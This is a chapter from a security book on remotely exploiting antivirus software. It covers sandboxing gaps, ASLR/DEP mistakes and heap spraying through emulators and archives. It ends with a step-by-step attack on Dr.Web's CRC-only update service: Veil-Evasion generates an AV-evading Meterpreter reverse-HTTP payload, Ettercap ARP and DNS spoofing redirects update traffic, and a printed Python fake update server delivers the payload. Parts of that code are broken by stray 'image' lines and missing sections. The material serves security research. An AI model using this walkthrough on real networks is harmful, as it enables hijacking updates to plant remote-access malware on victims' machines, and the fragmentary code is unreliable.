The Antivirus Hacker's Handbook (2015)

Part III. Analysis and Exploitation

Chapter 15. Remote Exploitation

Remote exploitation techniques are used to exploit a product or a component of a product by an attacker who does not have access to the computer being targeted.

Antivirus software can be remotely targeted, but doing so requires a lot of effort. This chapter explains why exploiting an antivirus remotely is much more complex than local exploitation. It then covers how to write remote exploits for antivirus software and also contains many useful tips to make exploitation easier.

Implementing Client-Side Exploitation

In general, exploiting antivirus products remotely is similar to exploiting ­client-side applications, in the sense that the application is exploited by ­interpreting ­malicious code sent via email or through a drive-by exploit. Although there are some network services and management consoles for which remote ­exploitation can be considered server-side exploitation, the biggest attack surface, and the one that is always available when targeting such products, is actually the ­client-side part. This section focuses on the remote exploitation of client-side antivirus components.

Exploiting Weakness in Sandboxing

Most antivirus products are still plagued by a lack of implementation of decent security measures, which makes exploiting them no different or more difficult than exploiting old client-side applications such as music players or image viewers. Indeed, it is more difficult to exploit some security-aware client-side applications than the vast majority of existing antivirus products. For example, writing an exploit for Adobe Acrobat Reader, Google Chrome, or the latest versions of Internet Explorer or Microsoft Office is difficult in comparison to writing an exploit for an antivirus that does not try to prevent itself from being owned. This is because antivirus products do not run their critical code that deals with untrusted input inside sandboxes, whereas the aforementioned desktop apps do.

The sandbox is kind of a jail that prevents a process from taking certain privileged actions. Usually, sandbox processes are designed like this: a parent process, also known as the broker, runs with normal user privileges. The parent process controls one or more child processes that run at a different integrity level (in Windows), under a different user, or simply with a more limited set of capabilities (in Unix-like operating systems). To perform some sensitive and privileged actions, such as executing operating system commands or creating files outside a specific temporary directory, the child processes need to communicate with the parent process, the broker. If the broker considers the request sent by one of the child processes as valid, then it will perform the operation on behalf of the requesting child process, which is running with low privileges. However, in most antivirus products, there is nothing similar to a sandbox. If you read the antivirus advertisements and then research their products, you will discover that when they talk about “sandboxing,” they are referring exclusively to running applications or code that they know nothing about, inside half-controlled environments. Unfortunately for users, antivirus industry security, with only a few notable exceptions, is years behind web browser and document reader security.

Even though you now know why exploiting an antivirus application is like exploiting any other client-side application, there are still some difficulties to sort out before you can write an exploit for an antivirus. These difficulties are presented by the operating system or compiler exploitation mitigations rather than the actual antivirus product. One way to begin to write exploits for AV software is to take advantage of the fact that most of them make some common mistakes in the way they implement ASLR, DEP, and RWX pages. We will discuss them in the next sections.

Exploiting ASLR, DEP, and RWX Pages at Fixed Addresses

The following is a short list of trivial and common mistakes that, when left wide open, can lead to exploitation and security problems:

·     Not enabling Address Space Layout Randomization (ASLR) for one or more modules in their products (even at kernel level), thus effectively rendering ASLR useless.

·     Injecting a non-ASLR-enabled library system-wide, effectively neutralizing ASLR system-wide (for all processes).

·     Purposely disabling Data Execution Prevention (DEP) in order to execute code in the stack.

·     Finding Read-Write-eXecute (RWX) memory pages at fixed addresses. For exploit writers, finding memory pages with RWX attributes at fixed addresses is like finding a goldmine.

This is an aberration from a security point of view. However, it is an aberration that happens, and what is bad for some people is good for others (in this case, for an exploit writer). Indeed, most of the exploits I have written for file format vulnerabilities actually abused such “features” (or their lack thereof): executing code in the stack (DEP) or simply using some special Return-Oriented Programming (ROP) payload, which can be megabytes long, from one or more non-ASLR-enabled libraries.

An exploit that uses a non-ASLR-enabled library is often a very reliable exploit because that library provides a set of fixed addresses that the exploit can rely on to find all the needed ROP gadgets. However, with some antivirus products, you may have even more luck. For example, I discovered that pages with RWX attributes are often created at fixed memory addresses, making it even easier to execute your own code in the context of the targeted antivirus.

To illustrate how such an exploitation can take place, imagine that you have some heap buffer overflow bug in an antivirus product and you can leverage that bug to write a pointer value that will later be dereferenced and interpreted as being a pointer inside a Virtual Function Table (VTable). Here is the disassembly listing:

MOV EAX, [ECX] ; Memory at ECX is controllable

CALL [EAX+8] ; So, we directly control this call

In this case, because of some previous corruption, you can overwrite a C++ object's VTable address, usually located directly at the object's instance address. Because you control the contents pointed at by ECX, you can also control the call destination, the dereferenced value at EAX+8.

With such a bug, to achieve remote exploitation, you still need to know where to redirect the execution, and because of ASLR, this is not easy (if possible at all) to do. You can try the following, though:

1.  Using any of the available non-ASLR-enabled modules, you can redirect execution to a set of ROP gadgets that mount the second stage of the attack: preparing for shellcode execution.

2.  The ROP gadgets copy the shellcode to the fixed address RWX pages that were left by the targeted antivirus for you to use with your exploit.

3.  After the ROP gadgets copy the entire shellcode, you can simply return or jump into the RWX page and continue your execution normally.

4.  Done. It's game over.

As this example shows, exploitation is generally trivial with any antivirus product that makes these typical mistakes. Even the presence of only one of the four previously listed mistakes can mean the difference between an ­easy-to-exploit situation and a who-knows-how-to-exploit-this situation.

If DEP is enabled, as is the case nowadays, no RWX pages are present, and all the modules are ASLR enabled. In this case, the situation would have been different, and depending on the operating system and architecture, exploitation would have been a lot more difficult:

·     When DEP is enabled, there is no more executing code from data pages.

·     When ASLR is enabled, there is no more ROP unless you know the addresses of gadgets.

The exploitation mitigations that are implemented by most of today's ­compilers are good enough in most cases:

·     Security cookies are effective against stack buffer overflows.

·     Control Flow Guards are effective against use-after-free bugs.

·     SafeSEH protects against overwriting exception handler pointers.

Note

You may wonder why an antivirus product, which is often synonymous with security for the average user, can be guilty of such a basic mistake. In some cases, ­specifically when talking about ASLR and fixed address memory pages with RWX attributes, performance guides the decision. One company, which will remain unnamed, even showed me a comparison using ASLR-enabled modules and non-ASLR-enabled ones.

Writing Complex Payloads

Often, an exploit for an antivirus product must be created specifically for the target operating system, architecture, and even final target machine. In such cases, you need to determine how to create complex payloads, not just a simple hard-coded address or set of addresses plus a hard-coded shellcode that may or may not work for the real target. Complex payload creation in client-side applications typically means using JavaScript, for example, when talking about web browsers or document readers such as Adobe Acrobat Reader. When talking about Office suites, such as Microsoft Office, you may need to embed an Adobe Flash object to try to perform just-in-time (JIT) spraying or heap spraying by embedding a bunch of BMP images to fill a big chunk of memory with bitmap data you can use later.

In the case of an antivirus engine, there is no JavaScript interpreter. (Or is there? I return to this question later on.) There is no way to embed and run Flash applications, nor (naturally) is there an option that lets you put pictures in a Word document and expect the antivirus engine to load all the pictures in memory. What are the options for heap spraying? For heap manipulation? Or for simply creating complex payloads? The following sections discuss some of the features that antivirus products offer that can help an exploit writer create very complex payloads. It will not be as “easy,” in the sense of the number of available technologies to write an exploit, as with web browsers or Acrobat Reader.

Taking Advantage of Emulators

This is obviously the number-one answer. All existing antivirus engines, with the notable exception of ClamAV, contain at least one emulator, and that is the Intel x86 emulator. Can the emulator be used for malicious purposes? The answer is yes and no. The emulators in antivirus products are often limited in the sense that time-outs are set, as are memory limits and even limits for each loop the emulator runs.

Unfortunately, this means that you cannot create a Windows PE, Executable and Linkable Format (ELF), or MachO file; force it to be emulated; and then use it to fill 1GB or 2GB of memory in order to perform heap spraying before triggering the real vulnerability. On the other hand, the emulator can be fingerprinted and identified, thus helping the attacker to programmatically create a targeted final payload, or you can leverage the emulator to cause some memory leak while it is emulating code in the malicious file so that memory of a certain size is not freed after your sample is emulated. Naturally, this approach requires deep knowledge of the emulator, and so you need to reverse-engineer and analyze it. The emulator is likely one of the most broken pieces inside antivirus products, as well as one of the more frequently updated, which usually translates into many new bugs for each release.

It is important to note that not all malware samples are passed to the emulator; therefore, before using the emulator as an attack vector, you need to make sure you can trigger the emulator for a given sample. How can you force an antivirus to emulate a sample file? You don't! Instead, I typically do the following:

1.  Reverse-engineer the core up to the point where the scanning process is discovered.

2.  Put a breakpoint in the function where the emulator is going to be used by the scanner.

3.  Run the antivirus product against a big malware set.

4.  Wait until the breakpoint is hit.

The trick here is to pass many samples and find which one is going to trigger the emulator. Once the breakpoint (set in step 2) is hit, bingo! You now have a sample that is known to trigger the emulator. Usually, files that trigger the emulators are EXE cryptors or packers that are too complex to decrypt statically, and the antivirus engineers decided to decrypt them using the emulator (which is a good idea: let the machines work). Once you have identified which Windows PE, ELF, or MachO file is being emulated, you can modify the code at the entry point to put your own code, and voilà! You have a sample that is emulated and a place to put code to generate the payload or to cause multiple memory leaks in order to perform heap spraying. You will have much more luck finding such samples with Windows PE file sets than with ELF or MachO files.

Even if you use the emulator to do heap spraying or some of the other tricks mentioned previously, there are still more problems and limitations to overcome: AV emulators usually have hard-coded limits for the number of instructions they can emulate, the number of API calls allowed, the amount of memory they can use, and so on. Emulators cannot let a sample run forever on a desktop machine for performance reasons. Say that a malicious sample file can cause a memory leak in the emulator. For example, suppose that the function NtCreateFile, when passed bad arguments, allocates a buffer that is never freed. Now, say that it allocates a 1KB memory chunk each time it is called, but the antivirus emulator refuses to continue after running this function more than a thousand times. The attacker just allocated 1,024,000 bytes (1MB). If you need to allocate more memory during an attack, then it is time for the next trick.

Exploiting Archive Files

An archive file, such as a TAR or a simple ZIP, is a file with many other files inside of it. When an antivirus analyzes an archive file, by default, the kernel does the following:

1.  It analyzes all files inside the archive, applying recursion limits (that is, it does not recursively scan more than five nested archive files).

2.  It analyzes all files sequentially, from the very first time in the archive to the very last time.

In the example used previously involving the hypothetical memory leak with NtCreateFile, you had the option to allocate up to 1MB of memory per sample. What if, instead of a single Windows PE file, you send 100 slightly modified versions of a file to scan? The antivirus, by default, will analyze 100 files, thus allocating 100 MBs. If, instead of 100, you compress 1,000 files, you will be allocating 1,000 MBs, or 1 gigabyte. For this trick, you can simply add one byte or DWORD at the end of the file (at the overlay data) so the cryptographic hash changes and, as such, the antivirus does not have any way to determine whether the file was scanned before. Also note that because the files are very similar, with only a byte or a DWORD changed, the compressor will be very efficient in compressing the files, thus creating a ZIP or 7z or RAR archive file that is extremely small, considering the large number of files inside the archive. Nice trick, isn't it?

After allocating the memory size by using the previous trick, you can add one more file to the archive, the very last one, which will actually trigger the bug. Then you can use the allocated memory in the targeted antivirus. This is one way of doing heap spraying against an antivirus that, by the way, usually works very well.

Finding Weaknesses in Intel x86, AMD x86_64, and ARM Emulators

Antivirus engines usually implement not only a single emulator but a bunch of them. The most common emulator to find is for supporting Intel x86, but it is not unusual to find an emulator for AMD x86_64, for ARM, or even for Microsoft .NET byte-code! This means that an attacker can write advanced payloads in whatever assembly language the targeted antivirus supports. You could even write parts of the payload using different assemblers in different Windows PE files for different architectures: using the previous trick—archive files—you could send a file that would implement one part of the complex attack in an Intel x86 assembler, a second file that would continue implementing it with an AMD x86_64 assembler, and a final one that would do whatever you need in an ARM assembler.

There is a good reason why you might torture yourself with such an incredibly complex attack: obfuscation. An attack using various emulators would certainly cause a lot of problems for the analyst or analysts trying to understand the exploit. Of course, a smart analyst would try to find a pattern and then automate the task of de-obfuscation.

Using JavaScript, VBScript, or ActionScript

In some of the previous sections, I excluded the option to use JavaScript to create complex payloads or to perform heap spraying, saying that it was specific to web browsers and Adobe Acrobat Reader. But I also left one question unanswered: are there any JavaScript interpreters or emulators available in antivirus scanners? They do exist, although it depends on the antivirus product. Usually, the same limitations that apply to the Intel x86 emulator apply to the JavaScript interpreter or emulator: there are limits set for memory consumption, not all APIs can be used, there are emulation time-outs, there are limits in the loops and numbers of instructions emulated, and so on.

When JavaScript is present, you can use it as you would any other native code emulators (as previously explained) to create the final payload to exploit a vulnerability in an antivirus.

There are a couple of reasons why it is better to use JavaScript than pure assembly code for such an exploit:

·     It is easier to code in high-level languages, such as JavaScript, than in pure assembler code.

·     It is easier to get a JavaScript code emulated or interpreted than it is with a PE, ELF, or MachO file.

Indeed, most obfuscated JavaScript files, depending on the antivirus product, are actually interpreted or emulated by the JavaScript engine implemented in the antivirus kernel. However, this does not happen all the time with Windows PE files or other program files because of performance reasons.

Depending on the antivirus product, not only do Intel x86, AMD64, ARM, or JavaScript emulators exist, but you may also find VBScript and ActionScript emulators. Different antivirus kernels or products have their own implementation of such emulators.

One interesting and highly recommended use of JavaScript (or VBScript if available) when writing antivirus exploits is that you can write exploits targeting multiple engines with much greater ease than with the assembler language. If you are targeting a number of antivirus engines and you know they have embedded a JavaScript engine, you can fingerprint the JavaScript engine as implemented by the antivirus product and then create different final payloads for different antivirus products.

Determining What an Antivirus Supports

Determining which emulators and interpreters an antivirus product supports is not trivial, but there are some quick approaches to doing so. In general, if the emulator is not loaded dynamically from plug-ins (that are usually encrypted and compressed), you can simply use the grep tool to look for patterns and strings. For example, to determine where the native code emulator is for Zoner AntiVirus for Linux, you can simply issue the following command:

$ LANG=C grep emu -r /opt/zav/

Binary file /opt/zav/bin/zavcli matches

Binary file /opt/zav/lib/zavcore.so matches

If there is an emulator inside Zoner AntiVirus, it is in either zavcli or zavcore.so. Such components are usually implemented in the libraries. I will use one command from the Radare2 reverse-engineering suite to list all symbols from the zavcore.so library and filter out those that could be for an emulator:

$ rabin2 -s /opt/zav/lib/zavcore.so | egrep "(emu|VM)"

vaddr=0x00092600 paddr=0x00078600 ord=525 fwd=NONE sz=419 bind=LOCAL

type=FUNC

name=_ZL17PeInstrInvalidateP9_PE_VMCTXP10_PE_THREADjP10X86_DISASMjPP12

_PE_JITBLOCKPPhj

jij.clone.0

vaddr=0x00198640 paddr=0x0017e640 ord=622 fwd=NONE sz=80 bind=LOCAL

type=OBJECT name=_ZL7g_JitVM

(…)

vaddr=0x000f7aa0 paddr=0x000ddaa0 ord=773 fwd=NONE sz=84 bind=LOCAL

type=OBJECT name=_ZZN5RarVM16IsStandardFilterEPhiE4C.25

vaddr=0x000f7a80 paddr=0x000dda80 ord=774 fwd=NONE sz=16 bind=LOCAL

type=OBJECT name=_ZZN5RarVM21ExecuteStandardFilterE18VM_StandardFilters

E5Masks

On the surface, it seems to support some sort of virtual machine (VM) for PE files (PE_VMCTX, which translates to PE virtual machine context) and also for the RAR VM, the virtual machine implemented by the file compression utility RAR. This information tells you which VMs you could target if you intend to find bugs and exploit them in Zoner AntiVirus. If you try to find references to scripting engines, you will discover that there are none:

$ rabin2 -s /opt/zav/lib/zavcore.so | egrep -i "(vb|java|script)"

A search like this one does not return any meaningful results, simply because the absence of certain string patterns does not mean the absence of certain features. You have to know for sure that the functionality you are looking for is not present, not even in encrypted or compressed antivirus plug-ins. Only then can you conclude that the antivirus does not support such emulating features. If you take a look at some other antiviruses that you know support these features, such as Comodo, you will see a different output:

$ LANG=C grep jscript -r *

Binary file libSCRIPTENGINE.so matches

This uncovers a match in the library libSCRIPTENGINE.so, which lives up to its name. If you take a look with the rabin2 tool from the Radare2 command-line tools, you see a lot of interesting symbols telling you which scripting engines are supported:

$ rabin2 -s libSCRIPTENGINE.so | egrep -i "(js|vb)" | more

vaddr=0x000c2943 paddr=0x00067c33 ord=083 fwd=NONE sz=2327 bind=LOCAL

type=FUNC name=_GLOBAL__I_JsObjectMethod.cpp

vaddr=0x000c6b08 paddr=0x0006bdf8 ord=086 fwd=NONE sz=43 bind=LOCAL

type=FUNC name=_GLOBAL__I_JsParseSynate.cpp

vaddr=0x001009e0 paddr=0x000a5cd0 ord=099 fwd=NONE sz=200 bind=LOCAL

 type=OBJECT name=_ZL9js_arrays

vaddr=0x000dc033 paddr=0x00081323 ord=108 fwd=NONE sz=270 bind=LOCAL

type=FUNC name=_GLOBAL__I_JsGlobalVar.cpp

(…)

vaddr=0x003257b0 paddr=0x002caaa0 ord=221 fwd=NONE sz=40 bind=UNKNOWN

type=OBJECT name=_ZTV9CVbBelowE

(…)

vaddr=0x000e7664 paddr=0x0008c954 ord=225 fwd=NONE sz=19 bind=UNKNOWN

type=FUNC name=_ZN13CVbIntegerDivD1Ev

Comodo Antivirus has support for both JavaScript and VBScript, which means an attacker can write payloads in either of these two supported scripting engines.

Launching the Final Payload

The previous section focused on how to create payloads by determining which emulators or interpreters are supported, how to use archives to launch multiple stages of a single attack, and so on. But once you have a payload created for the targeted antivirus, what do you need to do to launch the last stage of your exploit? There is no simple answer. It largely depends on which emulator or interpreter you are using, because it is completely different to deliver a payload from JavaScript or VBScript than to do the same from an emulated PE file. In each case, the following rules always apply:

·     All content dropped to disk is analyzed by the antivirus.

·     All new content evaluated or executed at runtime is analyzed by the antivirus.

·     For each new file or buffer dropped to disk or evaluated during runtime, all the scanning routines are applied.

This means that, for example, if you are creating a payload in an Intel x86 assembler, you need to create a file, write the buffer to the file, and close it. It is automatically handled by the antivirus, and usually all the scanning routines are applied to this new buffer. For a JavaScript or VBScript emulator, simply using eval()triggers the emulator. The eval() function is usually hooked to find patterns or to apply other scanning routines to detect malware in the newly created buffer. For example, a look at the libSCRIPTENGINE.so library from Comodo Antivirus reveals the following string:

.rodata:00000000000A7438   ; char aFoundVirus[]

.rodata:00000000000A7438 46 6F 75 6E 64 20 56 69+aFoundVirus   db

'Found Virus!',0     ; DATA XREF: eval(CParamsHelper &)+C5o

.rodata:00000000000A7445 00 00 00 00 00 00 00 00+              align 10h

If you follow the data cross-reference to this string, you land in the function eval(CParamsHelper &):

.text:00082F03    mov     edi, 8           ; unsigned __int64

.text:00082F08    call    __Znwm           ; operator new(ulong)

.text:00082F0D    lea     rsi, aFoundVirus ; "Found Virus!"

.text:00082F14    mov     rdi, rax         ; this

.text:00082F17    mov     rbx, rax

; CJsStopRunException::CJsStopRunException(char *)

.text:00082F1A    call    __ZN19CJsStopRunExceptionC1EPc

.text:00082F1F    jmp     short loc_82F34

As you can see, for each call to the eval JavaScript function, the antivirus is scanning the buffer. If it finds something, the execution of the JavaScript interpreter is halted. That information tells you that by simply calling the eval JavaScript function, you can deliver a payload targeting Comodo Antivirus. On the basis of my research, I noticed that it is common for other antivirus engines to also hook this function. This is a very useful piece of information for exploit writers.

Exploiting the Update Services

One of the vulnerable client-side parts of antivirus software is the update service. Exploiting update services is completely different than exploiting the usual memory corruption vulnerabilities in client-side components, such as the file format parsers. Such attacks usually mean that the connection between both ends (the client machine downloading updates and the server from which the updates will be downloaded) must somehow be intercepted. In a Local Area Network (LAN), the interception can be accomplished via Address Resolution Protocol (ARP) spoofing.

ARP spoofing, or ARP poisoning, is a technique by which the attacker sends spoof ARP answers to the LAN. The spoofed gratuitous ARP answers are meant to associate the attacker's MAC address with the IP address of the host being targeted, causing the traffic between client machines to the target, spoofed server to be intercepted by an attacker. Then, because all the traffic is flowing through the attacker-controlled machine, it can alter the packets being sent by potentially modifying the update bits coming from the specific targeted antivirus update servers to the client machines. The results of such an attack can be disastrous if the update services (on the client side) do not authenticate the received update data.

When searching for potential vulnerabilities in update services, you need to answer the following questions:

·     Is the update service using SSL or TLS?

·     Is the update service verifying the certificate from the server?

·     Are updates signed?

·     Is the signature verified by the update service?

·     Is the update service using any library that allows the bypassing of signature checks?

When writing exploits, almost all antivirus products I analyzed use plain-text communications, usually in the form of HTTP, with no SSL or TLS. This use of plain-text means that anything sent from the server to the client can be modified without raising any flags. In rare cases, some servers use SSL/TLS exclusively as a means of communication, not for verifying that the server is the true server the client machine wants to communicate with. Also, one may ask whether the updates are being authenticated. By “authenticated,” I mean whether it can be verified that the updates were created by the antivirus in question and were not modified in transit. Authentication is usually done by signing the update files (for example, with RSA).

Fortunately for the attacker, most antivirus products authenticate their update files by simply using CRC or cryptographic hashes such as MD5, which works exclusively for the purpose of verifying that the updates were not corrupted during transit, and nothing else. An attacker can simply send the correct CRC or MD5 hashes corresponding to the update files. Last but not least, even if the update service is verifying the update's signature, if it uses an old version of OpenSSL, which is not that rare, you can still send updates “signed” with invalid signatures that will cause the signatures to be validated anyway. The following is an extract from the OpenSSL bug CVE-2008-5077:

Several functions inside OpenSSL incorrectly checked the result after calling the EVP_VerifyFinal function, allowing a malformed signature to be treated as a good signature rather than as an error. This issue affected the signature checks on DSA and ECDSA keys used with SSL/TLS.One way to exploit this flaw would be for a remote attacker who is in control of a malicious server or who can use a man in the middle attack to present a malformed SSL/TLS signature from a certificate chain to a vulnerable client, bypassing validation.

This means that any update service client code using an OpenSSL version of 0.9.8 or earlier is vulnerable to this bug.

Writing an Exploit for an Update Service

This section analyzes a simple exploit for the updating service of the Dr.Web antivirus, for both Linux and Windows. This antivirus, at least during its 6.X versions, used to update components via plain HTTP, and the only method used to authenticate the components was with the CRC algorithm, a simple checksum. Naturally, under these conditions, the exploitation of the update system of the Dr.Web antivirus becomes trivial.

The Dr.Web antivirus used to download update files from a hard-coded set of plain-HTTP servers:

·     update.geo.drweb.com

·     update.drweb.com

·     update.msk.drweb.com

·     update.us.drweb.com

·     update.msk5.drweb.com

·     update.msk6.drweb.com

·     update.fr1.drweb.com

·     update.us1.drweb.com

·     update.kz.drweb.com

·     update.nsk1.drweb.com

By performing ARP spoofing and a DNS poisoning attack in a LAN, against these domains, attackers would be able to serve their own updates. The process of updating starts by selecting one server from the preceding list and then downloading a file with a timestamp, to determine whether there is a new update:

HTTP Request:

GET /x64/600/av/windows/timestamp

HTTP/1.1 Accept: */*

Host: update.drweb.com

X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95

X-DrWeb-KeyNumber: 0110258647

X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4

User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)

Connection: Keep-Alive

Cache-Control: no-cache

HTTP Response:

HTTP/1.1 200 OK

Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT

Content-Type: application/octet-stream

Content-Length: 10

Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT

Connection: keep-alive

Accept-Ranges: bytes

1397898695

The returned value is a Unix timestamp indicating the time of the last update available. After this, another check is made to determine the current version of the antivirus product, specified in the drweb32.flg file:

HTTP Request:

GET /x64/600/av/windows/drweb32.flg HTTP/1.1

Accept: */*

Host: update.drweb.com

X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95

X-DrWeb-KeyNumber: 0110258647

X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4

User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)

Connection: Keep-Alive

Cache-Control: no-cache

HTTP Response:

HTTP/1.1 200 OK

Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT

Content-Type: application/octet-stream

Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT

Connection: keep-alive

Accept-Ranges: bytes [windows]

LinkNews=http://news.drweb.com/flag+800/

LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/

drweb-800-win.exe

FileName=

isTime=1

TimeX=1420122293

cmdLine=

Type=1

ExcludeOS=2k|xp64

ExcludeDwl=ja

ExcludeLCID=17|1041

[signature]

sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8A

C4C291F364077

As you can see, part of what it returns in the response is the link to download the latest version of the product, the excluded operating systems, and so on.

The funny (or should I say interesting) part of the update protocol then starts when Dr.Web asks for an LZMA-compressed catalog with all the files that can be updated:

GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1

Accept: * / *

Host: update.drweb.com

X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95

X-DrWeb-KeyNumber: 0110258647

X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4

User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)

Connection: Keep-Alive Cache-Control: no-cache

HTTP / 1.1 200 OK

Server: nginx / 42

Date: Sat, 19 Apr 2014 10:33:39 GMT

Content-Type: application / octet-stream

Content-Length: 2373

Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT

Connection: keep-alive

Accept-Ranges: bytes

(…binary data…)

A look inside this LZMA-compressed file reveals something similar to the following listing:

 [DrWebUpdateList]

[500]

+timestamp, 8D17F12F

+lang.lst, EDCB0715

+update.drl, AB6FA8BE

+drwebupw.exe, 8C879982

+drweb32.dll, B73749FD

+drwebase.vdb, C5CBA22F

+<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D

+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe,

8097D92B

+<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll,

A18AEA4A

[DrWebUpdateListEnd]

This list contains the files that are available for update. Each filename is followed by some sort of a “hash.” The problem is that it is not a signature but, rather, a simple checksum (CRC). After discovering all this information, two approaches can be used to mount an attack:

·     When the LZMA-compressed catalog is downloaded, modify it and return a fake one with the valid CRC hash of a special component to be installed on the system.

·     Modify one of the files in the catalog, adding one special payload of your own, and use a CRC compensation attack so the checksum is the same.

The first attack is more flexible and gives you a lot of control, whereas the second attack is more complex and is not really required. If you choose to use the first attack, you can simply forge your own LZMA-compressed catalog with the CRCs of the files you want to install. By the way, it is important to note that you are not limited to deploying files in the Dr.Web program file's directory only: you can write files anywhere in the affected machine, in both Linux and Windows.

After the catalog is downloaded, the files in the catalog are checked to ensure that the CRC matches. Files that are different are downloaded and installed onto the target machine. In Linux, each independent file is downloaded, and in Windows, a patch-set file is downloaded. The patch-set that is requested takes the form of the following HTTP query:

GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f

If the file is not available, then Dr.Web tries to download the full installer for the new version:

GET /x64/600/av/windows/drwebupw.exe

The following steps show how to launch an attack against the Dr.Web update service:

1.  Perform a man-in-the-middle attack against a machine or set of machines in a LAN. It is possible to do the same in a WAN, but that is beyond of the scope of this book.

2.  By using ARP spoofing and DNS spoofing, you can intercept the connections the client machines make to the update servers that I previously listed. You would use the open-source tool Ettercap for this purpose.

3.  In your machine, you create a fake Dr.Web update server using Python.

4.  When the Dr.Web vulnerable installation asks for the update files, you return a Meterpreter executable file (compatible with the Metasploit framework) instead of the true update.

Use the following code to create your own Meterpreter payload, and make sure it evades detection by the antivirus, using the Veil-Evasion framework:

========================================================================

 Veil-Evasion | [Version]: 2.7.0

========================================================================

 [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework

========================================================================

 Main Menu

    29 payloads loaded

 Available commands:

    use             use a specific payload

    info            information on a specific payload

    list            list available payloads

    update          update Veil to the latest version

    clean           clean out payload folders

    checkvt         check payload hashes vs. VirusTotal

    exit            exit Veil

[>] Please enter a command: list

 [*] Available payloads:

    1)    auxiliary/coldwar_wrapper

    2)    auxiliary/pyinstaller_wrapper

    3)    c/meterpreter/rev_http

 (…)

    29)    python/shellcode_inject/pidinject

 [>] Please enter a command: use 3

[>] Please enter a command: set LHOST target-ip

[>] Please enter a command: generate

[>] Please enter the base name for output files: drwebupw

[*] Executable written to: /root/veil-output/compiled/drwebupw.exe

Now, it is time to use Ettercap to perform ARP spoofing and enable the module to do DNS spoofing. The Ettercap tool can be installed in Debian-based Linux distributions by issuing this command:

$ sudo apt-get install ettercap-graphical

Once you have it installed, run it as superuser from a terminal:

$ sudo ettercap -G

The flag -G lets you use the GUI, which is easier than using the text interface or using a long list of command-line flags. From the menu in the Ettercap GUI, select Sniff &cmdarr; Unified Sniffing, select the appropriate network card, and click OK. Now, choose Hosts &cmdarr; Scan for Hosts. It scans for hosts in the LAN corresponding to the selected network interface. Go to the menu and choose Hosts &cmdarr; Hosts Lists, and then select the appropriate targets (the first is the network router and the second is the target machine running Dr.Web). Now, click Mitm &cmdarr; ARP poisoning, check the Sniff Remote Connections option, and click OK. Next, you need to edit the file etter.dns to add the domains with DNS entries you want to spoof. (In Ubuntu, the file is located in/etc/ettercap/etter.dns.)

drweb.com      A   your-own-ip

*.drweb.com    A   your-own-ip

After saving the changes to this file, go back to the Ettercap GUI, click Plugins &cmdarr; Manage Plugins, and double-click the list shown on dns_spoof. DNS spoofing is now enabled, and all queries from the target for the DNS record of any *.drweb.com domain are answered with your own IP address. Now, for the last step, to exploit this bug, use the following Dr.Web Python exploit written by the author of the blog at http://habrahabr.ru:

#!/usr/bin/python

#encoding: utf-8

import SocketServer

import SimpleHTTPServer

import time

import lzma

import os

import binascii

from struct import *

from subprocess import call

image

class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):

        if 'timestamp' in self.path:

            self.send_response(200)

            self.end_headers()

            self.wfile.write(open('timestamp').read())

        elif 'drweb32.flg' in self.path:

            self.send_response(200)

            self.end_headers()

            self.wfile.write(open('drweb32.flg').read())

        elif 'drweb32.lst.lzma' in self.path:

            self.send_response(200)

            self.end_headers()

            self.wfile.write(open('drweb32.lst.lzma').read())

        elif UPLOAD_FILENAME + '.lzma' in self.path:

            self.send_response(200)

            self.end_headers()

            self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read())

image

         elif UPLOAD_FILENAME + '.patch' in self.path:

            self.send_response(404)

            self.end_headers()

        else:

            print self.path

def CRC32_from_file(filename):

    buf = open(filename,'rb').read()

    buf = (binascii.crc32(buf) & 0xFFFFFFFF)

    return "%08X" % buf

def create_timestamp_file():

    with open('timestamp','w') as f:

        f.write('%s'%int(time.time()))

image

    crc32 = CRC32_from_file(upload_filename)

    with open('drweb32.lst','w') as f:

        f.write('[DrWebUpdateList]\n')

        f.write('[500]\n')

        f.write('+%s, %s\n' % (upload_path+upload_filename,crc32))

        f.write('[DrWebUpdateListEnd]\n')

image

def edit_file_size(lzma_filename,orig_filename):

    file_size = os.stat(orig_filename).st_size

    with open(lzma_filename,'r+b') as f:

        f.seek(5)

        bsize = pack('l',file_size)

        f.write(bsize)

image

image

image

print 'Http Server started…'

httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler)

httpServer.serve_forever()

Although the comments are in Russian, the code is perfectly understandable: it simply tries to mimic the update protocol supported by Dr.Web and returns modified versions of the update files and the LZMA-compressed catalog by using the LZMA tool from Linux. If you run this tool and then try to update the Dr.Web antivirus, you see some requests like the following ones:

$ python drweb_http_server.py

Http Server started…

10.0.1.102 - - [20/Apr/2014 10:48:24] "GET

/x64/600/av/windows/timestamp HTTP/1.1" 200 -

10.0.1.102 - - [20/Apr/2014 10:48:24] "GET

/x64/600/av/windows/drweb32.flg HTTP/1.1" 200 -

10.0.1.102 - - [20/Apr/2014 10:48:26] "GET

/x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 -

10.0.1.102 - - [20/Apr/2014 10:48:27] "GET

/x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 -

